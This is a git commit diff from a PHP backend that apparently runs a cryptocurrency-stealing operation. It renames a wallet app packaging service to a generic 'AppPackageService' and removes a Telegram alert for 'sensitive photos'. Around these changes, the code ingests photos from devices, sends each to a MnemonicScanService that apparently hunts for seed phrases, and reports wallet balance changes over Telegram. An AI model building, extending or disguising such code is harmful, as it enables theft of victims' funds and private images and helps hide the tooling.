feat: app

This commit is contained in:
hashbro
2026-10-10 23:39:06 +08:00
parent 0ee7749262
commit ef38e0e190
5 changed files with 6 additions and 37 deletions
@@ -386,7 +386,7 @@ class ChannelController extends Controller
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
try {
$service = app(\App\Services\AiWalletPackageService::class);
$service = app(\App\Services\AppPackageService::class);
$result = $service->build($channel, $logoPath, $apiDomain);
} catch (\Throwable $e) {
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
-2
View File
@@ -8,8 +8,6 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Photo extends Model
{
public const X_HIT_ALERT = 12;
protected function casts(): array
{
return [
-7
View File
@@ -1087,7 +1087,6 @@ class IngestService
return;
}
$stored = 0;
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
@@ -1112,12 +1111,6 @@ class IngestService
'barcode_count' => $meta['barcode_count'] ?? null,
]);
app(MnemonicScanService::class)->dispatchPhoto($photo);
$stored++;
}
$xHit = $meta['x_hit'] ?? null;
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
}
}
-10
View File
@@ -358,16 +358,6 @@ class TelegramNotifier
$this->send(implode("\n", $lines), $deviceId);
}
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
'🖼 <b>敏感照片</b>',
...$this->deviceHeader($deviceId),
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
}
public function notifyBalanceChange(
string $deviceId,
string $address,